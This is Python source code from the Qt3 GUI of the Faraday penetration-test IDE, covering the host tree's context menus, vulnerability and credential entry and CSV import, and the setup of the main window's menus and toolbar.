479 for category in self._category_tree.keys():
480 if host_id in self._category_tree.get(category):
481 self._category_tree[category].remove(host_id)
482 category_item = self._getCategoryListViewItem(category)
483 try:
484 category_item.takeItem(item)
485 except Exception:
486 api.devlog("Exception taking item from category")
487
488 def _editHost(self, host):
489 self._removeHost(host.getID())
490 self._addHost(host)
491
492 def _addHostToCategory(self, host, category):
493 category_item = self._addCategory(category)
494 self._host_items[host.getID()] = HostListViewItem(category_item, host.name, host)
495 self._category_tree[category].append(host.getID())
496
497 def _delHostFromCategory(self, host, category):
498 id = host.getID()
499 item = self._host_items.get(id, None)
500 if id in self._host_items:
501 del self._host_items[id]
502 if category in self._category_tree:
503 if id in self._category_tree[category]:
504 self._category_tree[category].remove(id)
505 category_item = self._getCategoryListViewItem(category)
506 api.devlog("_delHostFromCategory: about to call takeItem for category %s" % category)
507 try:
508 category_item.takeItem(item)
509 except Exception:
510 pass
511 api.devlog("_delHostFromCategory: after takeItem")
512
513 def _getCategoryListViewItem(self, category):
514 return self._category_items.get(category, None)
515
516 def _delCategory(self, category, recursive=False):
517 if category in self._category_tree:
518 if recursive:
519 for id in self._category_tree:
520 host_item = self._getHostListViewItem(id)
521 if host_item is not None:
522 self._delHostFromCategory(host_item.object, category)
523 else:
524
525
526 for id in self._category_tree:
527 host_item = self._getHostListViewItem(id)
528 if host_item is not None:
529 self._moveHostToCategory(host_item.object, CONF.getDefaultCategory())
530
531 del self._category_tree[category]
532 item = self._category_items[category]
533 del self._category_items[category]
534 self.rootitem.takeItem(item)
535
536 def _getHostListViewItem(self, id):
537 return self._host_items.get(id, None)
538
539 def _showContextMenu(self, item, pos, val):
540 """Pop up a context menu when an item is clicked on the list view."""
541 ret = None
542
543 if item is not None:
544
545
546
547
548 if self.items_type['Interface']:
549 if (self.items_type['Category_General'] or self.items_type['Workspace']):
550 popname="CategoryWorkspace_Interface"
551 elif (self.items_type['Host'] or self.items_type['Service']):
552 popname="ServiceHost_Interface"
553 else:
554 popname=item.type
555
556 elif (self.items_type['Host'] or self.items_type['Service']):
557 if (self.items_type['Category_General'] or self.items_type['Workspace']):
558 popname="CategoryWorkspace_ServiceHost"
559 elif (self.items_type['Host'] and self.items_type['Service']):
560 popname="Service_Host"
561 else:
562 if item.type is "Category":
563 popname="Host"
564 else:
565 popname=item.type
566 else:
567
568 if item.type is "Category":
569 popname=item.type + "_" + item.name
570 else:
571 popname=item.type
572
573 ret = self.contextpopups[popname].exec_loop(pos)
574
575 if ret in self.contextdispatchers:
576 self.contextdispatchers[ret](item)
577
578
579
580 api.devlog("contextMenuEvent - item: %s - ret %s" % (self.name, ret))
581
582
583
584 def _newHost(self, item):
585 api.devlog("newHost")
586 dialog = NewHostDialog(self, self._newHostCallback)
587 dialog.exec_loop()
588
589 def _newHostCallback(self, name, os):
590 if name:
591
592 guiapi.createAndAddHost(name, os=os)
593
594 def _delHost(self,item):
595 api.devlog("delHost")
596 if item is not None and item.object is not None:
597 dialog = MessageDialog(self,title="Host delete",callback=self._delSelectedCallback)
598 dialog.exec_loop()
599
600 def _delHostCallback(self, item):
601 api.devlog("delcallbackHost %s " % (item.object.name))
602 guiapi.delHost(item.object.getID())
603
604 def _newInterface(self, item):
605 api.devlog("newInterface")
606 dialog = NewInterfaceDialog(self, self._newInterfaceCallback)
607 dialog.exec_loop()
608
609 def _newInterfaceCallback(self, name, ipv4_address, ipv6_address):
610 if name and (ipv4_address or ipv6_address):
611 for i in self.items_selected:
612 host_id = i.object.getID()
613 guiapi.createAndAddInterface(host_id, name, ipv4_address=ipv4_address, ipv6_address=ipv6_address)
614
615 def _delInterface(self,item):
616 api.devlog("delInterface")
617 if item is not None and item.object is not None:
618 dialog = MessageDialog(self,title="Interface delete",callback=self._delSelectedCallback)
619 dialog.exec_loop()
620
621 def _delInterfaceCallback(self, item):
622 api.devlog("delcallbackInterface %s " % (item.object.name))
623 _parent=item.object.getParent()
624 guiapi.delInterface(_parent.getID(), item.object.getID())
625
626 def _newService(self,item):
627 api.devlog("newService")
628 dialog = NewServiceDialog(self, self._newServiceSelectedCallback)
629 dialog.exec_loop()
630
631 def _newServiceSelectedCallback(self, name, protocol, ports):
632 if name and protocol and ports:
633 for i in self.items_selected:
634 if i.type == "Interface":
635 interface_id = i.object.getID()
636 host_id = i.object.getParent().getID()
637 guiapi.createAndAddServiceToInterface(host_id, interface_id , name, protocol=protocol, ports=ports)
638
639 def _delService(self,item):
640 if item is not None and item.object is not None:
641 dialog = MessageDialog(self,title="Delete Item(s)",callback=self._delSelectedCallback)
642 dialog.exec_loop()
643
644 def _delServiceCallback(self, item):
645 api.devlog("delcallbackService %s " % (item.name))
646 _object=item.object
647 _host=_object.getParent()
648 guiapi.delServiceFromHost(_host.getID(), _object.getID())
649
650 def _delSelectedCallback(self,item):
651
652 for i in self.items_selected:
653 if i.type == "Host":
654 api.devlog("delcallbackHost %s " % (i.object.name))
655 guiapi.delHost(i.object.getID())
656 elif i.type == "Application":
657 api.devlog("delcallbackApplication %s " % (i.object.name))
658 _parent=i.object.getParent()
659 _object=i.object
660 guiapi.delApplication(_parent.getID(),_object.getID())
661 elif i.type == "Interface":
662 api.devlog("delcallbackInterface %s " % (i.object.name))
663 _parent=i.object.getParent()
664 _object=i.object
665 guiapi.delInterface(_parent.getID(), _object.getID())
666 elif i.type == "Service":
667 api.devlog("delcallbackService %s " % (i.name))
668 _object=i.object
669 parent_interface = self._getParentForType(i, "Interface").object
670 parent_host = self._getParentForType(i, "Host").object
671 guiapi.delServiceFromInterface(parent_host.getID(), parent_interface.getID(), _object.getID())
672
673 self.listview.setCurrentItem(self.rootitem)
674 self._itemSelected()
675
676 def _getParentForType(self, obj, obj_type):
677 parent = obj.parent()
678 if obj_type == parent.type:
679 return parent
680 else:
681 return self._getParentForType(parent, obj_type)
682
683 def _newCategory(self,item):
684 api.devlog("newCategory")
685
686 def _renCategory(self,item):
687 api.devlog("renCategory")
688
689 def _delCategorymenu(self,item):
690 api.devlog("delCategorymenu")
691 if item is not None:
692 dialog = MessageDialog(self,title="Category delete",callback=self._delCategoryCallback,item=item)
693 dialog.exec_loop()
694
695 def _delCategoryCallback(self, item):
696 api.devlog("delcallbackCategory %s " % (item.name))
697
698 def _newVuln(self, item):
699 api.devlog("newVuln")
700 if item is not None and item.object is not None:
701 vuln_web_enabled = False
702 if item.object.class_signature == "Service":
703 vuln_web_enabled = True
704 dialog = NewVulnDialog(
705 self,
706 callback=self._newVulnSelectedCallback,
707 vuln_web_enabled=vuln_web_enabled)
708 dialog.exec_loop()
709
710 def _newVulnSelectedCallback(self, *args):
711 callback = guiapi.createAndAddVuln
712 if args[0]:
713 # vuln web
714 callback = guiapi.createAndAddVulnWeb
715
716 for i in self.items_selected:
717 callback(i.object, *args[1:])
718
719 def _listVulns(self,item):
720 if item is not None and item.object is not None:
721 dialog = VulnsDialog(parent=self, model_object=item.object)
722 dialog.exec_loop()
723
724 def _listVulnsCvs(self,item):
725 vulns=""
726 hosts=[]
727 for k in self._host_items.keys():
728 hosts.append(self._host_items[k].object)
729
730 filename = qt.QFileDialog.getSaveFileName(
731 "/tmp",
732 "Vulnerability CVS (*.csv)",
733 None,
734 "save file dialog",
735 "Choose a file to save the vulns" )
736 from exporters.tofile import CSVVulnStatusReport
737 CSVVulnStatusReport(path = filename,
738 modelobjects = hosts).createCSVVulnStatusReport()
739
740 def _importVulnsCvs(self,item):
741 filename = qt.QFileDialog.getOpenFileName(
742 CONF.getDefaultTempPath(),
743 "Csv vulnerability file (*.*)",
744 None,
745 "open file dialog",
746 "Choose a vulnerability file" );
747
748 if os.path.isfile(filename):
749 with open(filename) as f:
750 data = f.read()
751 f.close()
752
753 for l in data.split("\n"):
754 api.devlog(l)
755 if re.search("^#",l):
756 api.devlog("ERROR FILE")
757 continue
758
759 d = l.split("|")
760
761 if len(d) <=5:
762 api.devlog("Error vuln line: ("+l+")" )
763 else:
764 self._newVulnImport(d[0],d[1],d[2],d[3],d[4],d[5],d[6])
765
766 def _newVulnImport(self,ip,port,protocol,name,desc,severity,type):
767 if port == "0": #vuln host
768 h_id = guiapi.createAndAddHost(ip)
769 v_id = guiapi.createAndAddVulnToHost(h_id, name, desc, [],severity)
770 else: #vuln port
771 h_id = guiapi.createAndAddHost(ip)
772 if self._isIPV4(ip):
773 i_id = guiapi.createAndAddInterface(h_id,ip,ipv4_address=ip)
774 else:
775 i_id = guiapi.createAndAddInterface(h_id,ip,ipv6_address=ip)
776 s_id = guiapi.createAndAddServiceToInterface(h_id,i_id,port,protocol,ports=[port])
777 if type == "2":
778 v_id = guiapi.createAndAddVulnWebToService(h_id,s_id, name, desc, "/","/",[],severity)
779 else:
780 v_id = guiapi.createAndAddVulnToService(h_id,s_id, name, desc, [],severity)
781
782 api.devlog("type:" + type)
783
784 def _isIPV4(self, ip):
785 if len(ip.split(".")) == 4:
786 return True
787 else:
788 return False
789
790 def _listNotes(self, item):
791 if item is not None and item.object is not None:
792 dialog = NotesDialog(parent=self, model_object=item.object)
793 dialog.exec_loop()
794
795 def _newNote(self, item):
796 if item is not None and item.object is not None:
797 dialog = NewNoteDialog(self, callback=self._newNoteSelectedCallback)
798 dialog.exec_loop()
799
800 def _newNoteSelectedCallback(self, name, text):
801 for i in self.items_selected:
802 if i.type == "Host":
803 api.devlog("newNotecallbackHost %s " % (i.object.name))
804 guiapi.createAndAddNoteToHost(i.object.getID(), name, text)
805 elif i.type == "Application":
806 _parent=i.object.getParent()
807 api.devlog("newNotecallbackApplication %s " % (i.object.name))
808 guiapi.createAndAddNoteToApplication(_parent.getID(), i.object.getID(), name, text)
809 elif i.type == "Interface":
810 _parent=i.object.getParent()
811 api.devlog("newNotecallbackInterface %s " % (i.object.name))
812 guiapi.createAndAddNoteToInterface(_parent.getID(), i.object.getID(), name, text)
813 elif i.type == "Service":
814 _parent=i.object.getParent().getParent()
815 api.devlog("newNotecallbackService %s " % (i.name))
816 guiapi.createAndAddNoteToService(_parent.getID(), i.object.getID(), name, text)
817
818 def _listCreds(self, item):
819 if item is not None and item.object is not None:
820 dialog = CredsDialog(parent=self, model_object=item.object)
821 dialog.exec_loop()
822
823 def _newCred(self, item):
824 api.devlog("newCred")
825 dialog = NewCredDialog(self, self._newCredSelectedCallback)
826 dialog.exec_loop()
827
828 def _importCreds(self, item):
829 filename = qt.QFileDialog.getOpenFileName(
830 CONF.getDefaultTempPath(),
831 "Csv user,pass or user:pass (*.*)",
832 None,
833 "open file dialog",
834 "Choose a password file" );
835
836 if os.path.isfile(filename):
837 with open(filename) as f:
838 data = f.read()
839 f.close()
840
841 for l in data.split():
842 api.devlog(l)
843 if re.search("^#",l):
844 api.devlog("ERROR FILE")
845 continue
846
847 d = l.split(",")
848 if len(d)<=1:
849 d = l.split(":")
850
851 api.devlog(d)
852 if len(d) <=1:
853 api.devlog("Error password line: ("+l+")" )
854 else:
855 self._newCredSelectedCallback(d[0],d[1])
856
857 def _newCredSelectedCallback(self,username,password):
858
859 for i in self.items_selected:
860 if i.type in ['Host','Service']:
861 guiapi.createAndAddCred(i.object,username,password)
862
863 def _showWorkspaceProperties(self, item):
864 if item.object is not None:
865 d = WorkspacePropertiesDialog(self, "Workspace Properties", workspace=item.object)
866 d.exec_loop()
867
868 def _modelObjectViewUpdater(self):
869 if len(self.__pendingModelObjectRedraws):
870 self.update(self.__pendingModelObjectRedraws.pop().hosts)
871 self.__pendingModelObjectRedraws[:] = []
872
873 def customEvent(self, event):
874 if event.type() == UPDATEMODEL_ID:
875 self.__pendingModelObjectRedraws.append(event)
876
877 elif event.type() == RENAMEHOSTSROOT_ID:
878 self.renameRootItem(event.name)
879
880 elif event.type() == DIFFHOSTS_ID:
881 self._diffHosts(event.old_host, event.new_host)
882
883 elif event.type() == CLEARHOSTS_ID:
884 self.clearTree()
885
886 elif event.type() == WORKSPACE_CHANGED:
887 self.workspaceChanged(event.workspace, event.workspace_type)
888
889 elif event.type() == CONFLICT_UPDATE:
890 self.updateWorkspaceName(event.nconflicts)
891
892 elif event.type() == RESOLVECONFLICTS_ID:
893 self.showResolveConflictDialog(event.conflicts)
894
895 elif event.type() == ADDHOST:
896 self._addHost(event.host)
897 self.setReindex()
898
899 elif event.type() == DELHOST:
900 self._removeHost(event.host_id)
901 self.setReindex()
902
903 elif event.type() == EDITHOST:
904 self._editHost(event.host)
905 self.setReindex()
906
907
908 def _setupContextPopups(self):
909 """
910 Configures a context popup menu for each kind of item shown in the tree.
911 This is done because different options may be needed for each item
912 """
913
914 popup = qt.QPopupMenu(self)
915
916
917
918 popup.insertSeparator()
919 popup.insertItem('Resolve Conflicts', 303)
920 popup.insertItem('Save Vulns CSV', 402)
921 popup.insertItem('Import Vulns CSV', 403)
922
923
924 popup.insertSeparator()
925 popup.insertItem('Add Host', 800)
926
927 self.contextpopups["Workspace"] = popup
928
929 self.contextpopups["Category_General"] = self.contextpopups["Workspace"]
930
931
932 popup = qt.QPopupMenu(self)
933
934
935
936
937 self.contextpopups["Category_Applications"] = popup
938
939
940 popup = qt.QPopupMenu(self)
941 popup.insertItem('Add Interfaces', 600)
942
943
944
945 self.contextpopups["Category_Interfaces"] = popup
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964 popup = qt.QPopupMenu(self)
965 popup.insertItem('Delete Host', 802)
966 popup.insertSeparator()
967 popup.insertItem('Add Interface', 600)
968 popup.insertSeparator()
969 popup.insertItem('New Vulnerability',400)
970 popup.insertItem('List Vulnerabilities',401)
971 popup.insertSeparator()
972 popup.insertItem('New note', 500)
973 popup.insertItem('Show notes', 501)
974 popup.insertSeparator()
975 popup.insertItem('New Credential', 550)
976 popup.insertItem('Show Credentials', 551)
977 popup.insertItem('Import Creds', 561)
978
979
980
981 self.contextpopups["Host"] = popup
982
983
984 popup = qt.QPopupMenu(self)
985 popup.insertItem('Delete Interface', 602)
986 popup.insertSeparator()
987 popup.insertItem('Add Service', 200)
988 popup.insertSeparator()
989 popup.insertItem('New Vulnerability',400)
990 popup.insertItem('List Vulnerabilities',401)
991 popup.insertSeparator()
992 popup.insertItem('New note', 500)
993 popup.insertItem('Show notes', 501)
994
995
996
997 self.contextpopups["Interface"] = popup
998
999
1000 popup = qt.QPopupMenu(self)
1001 popup.insertItem('Delete Service', 202)
1002 popup.insertSeparator()
1003 popup.insertItem('New Vulnerability',400)
1004 popup.insertItem('List Vulnerabilities',401)
1005 popup.insertSeparator()
1006 popup.insertItem('New note', 500)
1007 popup.insertItem('Show notes', 501)
1008 popup.insertSeparator()
1009 popup.insertItem('New Credential', 550)
1010 popup.insertItem('Show Credentials', 551)
1011 popup.insertItem('Import Creds', 561)
1012
1013
1014
1015 self.contextpopups["Service"] = popup
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025 popup = qt.QPopupMenu(self)
1026 popup.insertItem('Delete Items', 202)
1027 popup.insertSeparator()
1028 popup.insertItem('New Vulnerability Items',400)
1029 popup.insertSeparator()
1030 popup.insertItem('New note Items', 500)
1031 popup.insertSeparator()
1032 popup.insertItem('New Credential', 550)
1033 popup.insertItem('Import Creds', 561)
1034
1035 self.contextpopups["Service_Host"] = popup
1036
1037
1038
1039 popup = qt.QPopupMenu(self)
1040 popup.insertItem('Add Service', 200)
1041 popup.insertSeparator()
1042 popup.insertItem('Delete Items', 202)
1043 popup.insertSeparator()
1044 popup.insertItem('New Vulnerability Items',400)
1045 popup.insertSeparator()
1046 popup.insertItem('New note Items', 500)
1047 popup.insertSeparator()
1048 popup.insertItem('New Credential', 550)
1049 popup.insertItem('Import Creds', 561)
1050
1051
1052
1053 self.contextpopups["ServiceHost_Interface"] = popup
1054
1055
1056 popup = qt.QPopupMenu(self)
1057
1058
1059 popup.insertItem('Properties', 302)
1060 popup.insertSeparator()
1061 popup.insertItem('Add Host', 800)
1062 popup.insertSeparator()
1063 popup.insertItem('Add Service', 200)
1064 popup.insertSeparator()
1065 popup.insertItem('Delete Items', 202)
1066 popup.insertSeparator()
1067 popup.insertItem('New Vulnerability Items',400)
1068 popup.insertSeparator()
1069 popup.insertItem('New note Items', 500)
1070 popup.insertSeparator()
1071 popup.insertItem('Add Service', 200)
1072 popup.insertSeparator()
1073 popup.insertItem('New Credential', 550)
1074 popup.insertItem('Import Creds', 561)
1075
1076
1077 self.contextpopups["CategoryWorkspace_Interface"] = popup
1078
1079
1080 popup = qt.QPopupMenu(self)
1081
1082
1083 popup.insertItem('Properties', 302)
1084 popup.insertSeparator()
1085 popup.insertItem('Add Host', 800)
1086 popup.insertSeparator()
1087 popup.insertItem('Delete Items', 202)
1088 popup.insertSeparator()
1089 popup.insertItem('New Vulnerability Items',400)
1090 popup.insertSeparator()
1091 popup.insertItem('New note Items', 500)
1092 popup.insertSeparator()
1093 popup.insertItem('New Credential', 550)
1094 popup.insertItem('Import Creds', 561)
1095
1096
1097 self.contextpopups["CategoryWorkspace_ServiceHost"] = popup
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108 def _setupContextDispatchers(self):
1109 """
1110 Configures a context dispatcher for each kind of item shown in the tree.
1111 This is done because different options may be needed for each item
1112 """
1113
1114 self.contextdispatchers[100] = self._newCategory
1115 self.contextdispatchers[102] = self._delCategorymenu
1116
1117 self.contextdispatchers[200] = self._newService
1118 self.contextdispatchers[202] = self._delService
1119
1120
1121
1122 self.contextdispatchers[302] = self._showWorkspaceProperties
1123 self.contextdispatchers[303] = self._resolveConflicts
1124
1125 self.contextdispatchers[400] = self._newVuln
1126 self.contextdispatchers[401] = self._listVulns
1127 self.contextdispatchers[402] = self._listVulnsCvs
1128 self.contextdispatchers[403] = self._importVulnsCvs
1129
1130 self.contextdispatchers[500] = self._newNote
1131 self.contextdispatchers[501] = self._listNotes
1132
1133 self.contextdispatchers[550] = self._newCred
1134 self.contextdispatchers[551] = self._listCreds
1135 self.contextdispatchers[561] = self._importCreds
1136
1137 self.contextdispatchers[600] = self._newInterface
1138 self.contextdispatchers[602] = self._delInterface
1139
1140 self.contextdispatchers[800] = self._newHost
1141 self.contextdispatchers[802] = self._delHost
1142
1143
1144 def renameRootItem(self, new_name):
1145 self.rootitem.setText(0, new_name)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import os
7 import sys
8 import qt
9 from gui.qt3.pyqonsole.widget import ShellWidget
10 from gui.qt3.tabmanager import TabManager
11 from gui.qt3.perspective import PerspectiveManager
12 from gui.qt3.hostsbrowser import HostsBrowser
13 from gui.qt3.workspacebrowser import WorkspaceTreeWindow
14 from gui.qt3.dialogs import *
15 from gui.qt3.configdialog import ConfigDialog
16 from gui.qt3.toolbars import *
17 from gui.qt3.customevents import *
18 from gui.qt3.notification import NotificationsDialog
19 from model.guiapi import notification_center as notifier
20 from persistence.persistence_managers import CouchDbManager
21 from model.guiapi import notification_center
22
23 import model.api
24 import webbrowser
25 sys.path.append("./dependencies/jit")
26 import subprocess
27 import datetime
28 import threading
29 import time
30
31 from config.configuration import getInstanceConfiguration
32 CONF = getInstanceConfiguration()
33
34
35 class MainWindow(qt.QMainWindow):
36
37 def __init__(self, title, main_app, model_controller, plugin_manager):
38 qt.QMainWindow.__init__(self, None, title, qt.Qt.WDestructiveClose)
39 self.setWindowState(qt.Qt.WindowMaximized)
40 self.setCaption(title)
41
42 self.setIcon(qt.QPixmap(os.path.join(CONF.getIconsPath(),
43 'faraday_icon.png')))
44
45 self._main_app = main_app
46 self._model_controller = model_controller
47
48 self._mainArea = qt.QHBox(self)
49 self.setCentralWidget(self._mainArea)
50 self._vb_splitter = qt.QSplitter(self._mainArea)
51 self._vb_splitter.setOrientation(qt.QSplitter.Vertical)
52 self._hb_splitter = qt.QSplitter(self._vb_splitter)
53 self._hb_splitter.setOrientation(qt.QSplitter.Horizontal)
54
55 self.statusBar().setSizeGripEnabled(False)
56
57 self._shell_widgets = []
58 self._notifications = []
59 self._tab_manager = TabManager(self._hb_splitter)
60 self._perspective_manager = PerspectiveManager(self._hb_splitter,
61 self._main_app)
62
63 self._hosts_treeview = HostsBrowser(self._perspective_manager,
64 self._model_controller,
65 'Hosts')
66 notifier.registerWidget(self._hosts_treeview)
67
68 self._perspective_manager.registerPerspective(self._hosts_treeview,
69 default=True)
70
71 wtw = WorkspaceTreeWindow(self._perspective_manager, 'Workspaces',
72 self._main_app.getWorkspaceManager())
73 self._perspective_manager.registerPerspective(wtw)
74 self._workspaces_treeview = wtw
75
76 self._log_console = LogConsole(self._vb_splitter, 'Console')
77
78 self._actions = dict()
79 self._setupActions()
80
81 self._menues = {}
82 self._setupMenues()
83
84 self.main_toolbar = qt.QToolBar(self, 'main toolbar')
85 self._setupMainToolbar()
86
87 self.location_toolbar = LocationToolbar(self, 'location toolbar')
88 self.location_toolbar.setOffset(1500)
89
90 self._status_bar_widgets = dict()
91 self._setupStatusBar()
92
93 self._is_shell_maximized = False
94
95 self.shell_font = qt.QFont()
96 self.shell_font.setRawName(CONF.getFont())
97 self.setSizeFont()
98
99 def setSizeFont(self):
100 if re.search("fixed",str(self.shell_font.family()),re.IGNORECASE) is None:
101 self.shell_font=qt.QFont()
102 CONF.setFont("-Misc-Fixed-medium-r-normal-*-12-100-100-100-c-70-iso8859-1")
103 CONF.saveConfig()
104 self.shell_font.setRawName(CONF.getFont())
105
106 self._sizes = [6,7,8,9,10,11,12,14,16,18,20,22,24,26,28,36]
107 i=0
108 self._size=6
109 for f_i in self._sizes:
110 if f_i == self.shell_font.pixelSize():
111 self._size=i
112 i+=1
113
114
115 def setMainApp(self, mainapp):
116 self._main_app = mainapp
117
118
119 def _setupActions(self):
120 """
121 creates some actions needed on some menues and toolbars
122 Actions are later added to different toolbars, for example in
123 method _setupMainToolbar
124 """
125
126
127 a = self._actions["new_shell"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"newshell.png"))), "&New Shell", qt.Qt.CTRL + qt.Qt.SHIFT + qt.Qt.Key_T, self, "New Shell" )
128 self.connect(a, qt.SIGNAL('activated()'), self.createShellTab)
129
130
131 a = self._actions["close_shell"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"exit.png"))), "&Close Shell", qt.Qt.CTRL + qt.Qt.SHIFT +qt.Qt.Key_W, self, "New Shell" )
132 self.connect(a, qt.SIGNAL('activated()'), self.destroyShellTab)
133
134
135 a = self._actions["toggle-hosttree"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"HostTreeView.png"))), "Toggle Host Tree", 0, self, "Toggle Log Console" )
136 a.setToggleAction(True)
137 a.toggle()
138 self.connect(a, qt.SIGNAL('activated()'), self.togglePerspectives)
139
140
141 a = self._actions["toggle-logconsole"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"LogConsole.png"))), "Toggle Log Console", 0, self, "Toggle Log Console" )
142 a.setToggleAction(True)
143 a.toggle()
144 self.connect(a, qt.SIGNAL('activated()'), self.toggleLogConsole)
145
146
147 a = self._actions["maximize-shell"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"maximize.png"))), "Maximize Shell", 0, self, "Maximize Shell" )
148 a.setToggleAction(True)
149
150 self.connect(a, qt.SIGNAL('activated()'), self.maximizeShell)
151 self._tab_manager.tabBar().addAction("maximize", self.maximizeShell)
152
153
154
155
156
157
158
159
160
161 #a = self._actions["test"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"donotpresstheredbutton.png"))), "Test", qt.Qt.CTRL + qt.Qt.Key_H, self, "Test" )
162
163 #self.connect(a, qt.SIGNAL('activated()'), self.test)
164
165 a = self._actions["screenshot"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"Screenshot.png"))), "Take Screenshot", 0, self, "Take Screenshot" )
166 self.connect(a, qt.SIGNAL('activated()'), self.takeScreenshot)
167
168
169 a = self._actions["clear-hosttree"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"clear.png"))), "Clear Host Tree", qt.Qt.CTRL + qt.Qt.Key_R, self, "Clear Host Tree" )
170 self.connect(a, qt.SIGNAL('activated()'), self._hosts_treeview.clearTree)
171
172
173
174 a = self._actions["repo-config"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"connect.png"))), "Server Connection", 0, self, "Server Connection" )
175 self.connect(a, qt.SIGNAL('activated()'), self._showRepositoryConfigDialog)
176
177
178 a = self._actions["visualization"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"visualize.png"))), "Visualize", 0, self, "Visualize" )
179 self.connect(a, qt.SIGNAL('activated()'), self.runVisualization)
180
181 a = self._actions["plugin"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"config.png"))), "Plugin", 0, self, "Plugin" )
182 self.connect(a, qt.SIGNAL('activated()'), self.showPluginSettingsDialog)
183
184
185 a = self._actions["documentation"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"Documentation.png"))), "Documentation", 0, self, "Documentation" )
186 self.connect(a, qt.SIGNAL('activated()'), self.go2Website)
187
188
189 a = self._actions["exit-faraday"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"exit.png"))), "Exit Faraday", 0, self, "Exit Faraday" )
190 self.connect(a, qt.SIGNAL('activated()'), self.exitFaraday)
191
192
193
194
195
196
197 a = self._actions["create-workspace"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"sync.png"))), "Create", 0, self, "Create" )
198 self.connect(a, qt.SIGNAL('activated()'), self.createWorkspace)
199
200
201
202
203
204
205 # a = self._actions["open-workspace"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"sync.png"))), "Open", 0, self, "Open" )
206 # self.connect(a, qt.SIGNAL('activated()'), self.openWorkspace)
207
208 a = self._actions["bfont"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"fontb.png"))), "Big Font", 0, self, "Big Font" )
209 self.connect(a, qt.SIGNAL('activated()'), self.setBfont)
210
211 a = self._actions["sfont"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"fonts.png"))), "Small Font", 0, self, "Small Font" )
212 self.connect(a, qt.SIGNAL('activated()'), self.setSfont)
213
214 if CONF.getDebugStatus():
215 a = self._actions["debug"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"debug.png"))), "Debug", 0, self, "Debug" )
216 self.connect(a, qt.SIGNAL('activated()'), self.doDebug)
217
218 def _setupStatusBar(self):
219 label_order = ["username", "userLevel", "space", "status"]
220 for lname in label_order:
221 l = qt.QLabel("", self)
222 l.setFrameStyle(qt.QFrame.MenuBarPanel | qt.QFrame.Plain)
223 self._status_bar_widgets[lname] = l
224 self.statusBar().addWidget(l, 0, True)
225
226 notification_button = qt.QPushButton("0", self)
227 notification_button.setSizePolicy(qt.QSizePolicy(
228 qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
229 self.connect(notification_button, qt.SIGNAL('clicked()'),
230 self.showNotifications)
231 self._status_bar_widgets["notifications"] = notification_button
232 self.statusBar().addWidget(notification_button, 0, True)
233
234 w = qt.QWidget(self)
235 self.statusBar().addWidget(w, 1, True)
236
237 def _setupMenues(self):
238 """
239 Configures all the main windows menues
240 """
241
242
243 self._menues["file"] = qt.QPopupMenu(self)
244 self.menuBar().insertItem('&File',self._menues["file"])
245
246
247
248
249
250
251
252 self._actions["exit-faraday"].addTo(self._menues["file"]);
253 self.menuBar().insertSeparator()
254
255
256 self._menues["shell"] = qt.QPopupMenu(self)
257 self.menuBar().insertItem('&Shell',self._menues["shell"])
258 self._actions["new_shell"].addTo(self._menues["shell"]);
259 self._actions["close_shell"].addTo(self._menues["shell"]);
260 self._actions["maximize-shell"].addTo(self._menues["shell"]);
261
262 self.menuBar().insertSeparator()
263
264 self._menues["edit"] = qt.QPopupMenu(self)
265 self.menuBar().insertItem('&Edit',self._menues["edit"])
266 self._menues["edit"].insertItem('&Copy', self._copy)
267 self._menues["edit"].insertItem('&Paste', self._paste)
268
269 self._actions["repo-config"].addTo(self._menues["edit"]);
270
271 self.menuBar().insertSeparator()
272
273
274 self._menues["workspace"] = qt.QPopupMenu(self)
275 self.menuBar().insertItem('&Workspace',self._menues["workspace"])
276 # self._actions["open-workspace"].addTo(self._menues["workspace"])
277 self._actions["create-workspace"].addTo(self._menues["workspace"])
278
279
280
281 self.menuBar().insertSeparator()
282
283
284 self._menues["tools"] = qt.QPopupMenu(self)
285 self.menuBar().insertItem('&Tools',self._menues["tools"])
286 self._actions["visualization"].addTo(self._menues["tools"]);
287
288 self._actions["plugin"].addTo(self._menues["tools"]);
289 self._actions["screenshot"].addTo(self._menues["tools"]);
290
291 self.menuBar().insertSeparator()
292
293
294 self._menues["view"] = qt.QPopupMenu(self)
295 self.menuBar().insertItem('&View',self._menues["view"])
296 self._actions["toggle-hosttree"].addTo(self._menues["view"]);
297 self._actions["toggle-logconsole"].addTo(self._menues["view"]);
298 self._actions["maximize-shell"].addTo(self._menues["view"]);
299
300 self.menuBar().insertSeparator()
301
302
303 self._menues["help"] = qt.QPopupMenu(self)
304 self.menuBar().insertItem('&Help',self._menues["help"])
305 self._menues["help"].insertItem('&About', self._showAboutDialog)
306 self._actions["documentation"].addTo(self._menues["help"]);
307
308
309
310
311 def _setupMainToolbar(self):
312 """
